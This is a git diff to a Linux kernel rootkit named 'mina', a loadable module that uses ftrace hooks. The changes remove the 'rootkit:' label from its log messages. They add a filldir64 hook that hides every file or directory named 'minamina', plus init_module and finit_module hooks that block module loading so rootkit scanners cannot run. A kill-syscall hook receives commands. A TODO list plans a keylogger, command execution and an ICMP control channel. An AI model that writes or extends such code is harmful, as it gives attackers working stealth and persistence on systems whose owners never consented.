diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -75,7 +75,7 @@ static int fh_resolve_hook_address(struct ftrace_hook *hook) {
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address) {
- printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
+ printk(KERN_DEBUG "unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
@@ -124,13 +124,13 @@ int fh_install_hook(struct ftrace_hook *hook) {
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if (err) {
- printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+ printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if (err) {
- printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
+ printk(KERN_DEBUG "register_ftrace_function() failed: %d\n", err);
return err;
}
@@ -145,12 +145,12 @@ void fh_remove_hook(struct ftrace_hook *hook) {
int err;
err = unregister_ftrace_function(&hook->ops);
if (err) {
- printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
+ printk(KERN_DEBUG "unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if (err) {
- printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+ printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
}
}
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -1,5 +1,4 @@
#include <linux/delay.h>
-#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
@@ -8,7 +7,6 @@
#include <linux/list.h>
#include <linux/module.h>
#include <linux/slab.h>
-#include <linux/uaccess.h>
#include <linux/version.h>
#include "../includes/mina.h"
@@ -49,13 +47,10 @@ timestomping might be necessary from the dropper
======================== TODO ==============================
-- write hook on file listing to hide any file i would like (hook filldir)
-- find a way to retrieve the module (if possible from memory, not relative path),
- & add it to /usr/lib/modules/
-- add /sys/modules/mina** from the listdir syscall
- timestomping /usr/lib/modules-load.d
- intercept TCP calls to read ICMP packets. REPL should be inside
-- hook insmod to avoid having LKM scanners
+- command-exec module (!!)
+- keylogger ?
- write silly dropper
- write an ICMP client to interact with the rootkit
@@ -80,59 +75,15 @@ MODULE_VERSION("0.0.1");
/* ------=== DIR HOOK ===----- */
#define HIDE_DIR "minamina"
+static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type);
+static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type) {
-static asmlinkage long (*original_getdents64)(const struct pt_regs *);
-static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
- struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si;
+ if (strstr(name, HIDE_DIR) != NULL)
+ return true;
- struct linux_dirent64 *kernel_dir_buffer = NULL;
- struct linux_dirent64 *current_entry = NULL;
- struct linux_dirent64 *prev_entry = NULL;
-
- unsigned long offset = 0;
- long result = original_getdents64(regs);
-
- if (result <= 0) {
- return result;
- }
-
- kernel_dir_buffer = kmalloc(result, GFP_KERNEL);
- if (!kernel_dir_buffer) {
- return -ENOMEM;
- }
-
- if (copy_from_user(kernel_dir_buffer, user_dir, result) != 0) {
- kfree(kernel_dir_buffer);
- return -EFAULT;
- }
-
- while (offset < result) {
- current_entry = (struct linux_dirent64 *)((char *)kernel_dir_buffer + offset);
-
- if (strncmp(current_entry->d_name, HIDE_DIR, strlen(HIDE_DIR)) == 0) {
- if (current_entry == kernel_dir_buffer) {
- result -= current_entry->d_reclen;
- memmove(kernel_dir_buffer, (char *)kernel_dir_buffer + current_entry->d_reclen, result);
- continue;
- }
-
- if (prev_entry) {
- prev_entry->d_reclen += current_entry->d_reclen;
- }
- } else {
- prev_entry = current_entry;
- }
-
- offset += current_entry->d_reclen;
- }
-
- if (copy_to_user(user_dir, kernel_dir_buffer, result) != 0) {
- kfree(kernel_dir_buffer);
- return -EFAULT;
- }
-
- kfree(kernel_dir_buffer);
- return result;
+ return original_filldir64(ctx, name, namlen, offset, ino, d_type);
}
/* ------=== KILL HOOK ===----- */
@@ -158,11 +109,25 @@ normalkill:
return original_kill(regs);
}
+/* ------=== INSMOD HOOK ===----- */
+
+static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
+static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
+ return 0;
+}
+
+static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
+static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
+ return 0;
+}
+
/* ------=== HOOKS DEFINITIONS ===----- */
static struct ftrace_hook hooks[] = {
- HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), // receive commands from machine
- HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64), // hide directories
+ HOOK("filldir64", hook_filldir64, &original_filldir64), /* hide files (& directories) */
+ HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), /* receive commands from machine */
+ HOOK("__x64_sys_init_module", hook_init_module, &original_init_module), /* hide from rootkit hunters */
+ HOOK("__x64_sys_finit_module", hook_finit_module, &original_finit_module), /* hide from rootkit hunters */
};
/* --------------------------------------------- */
| |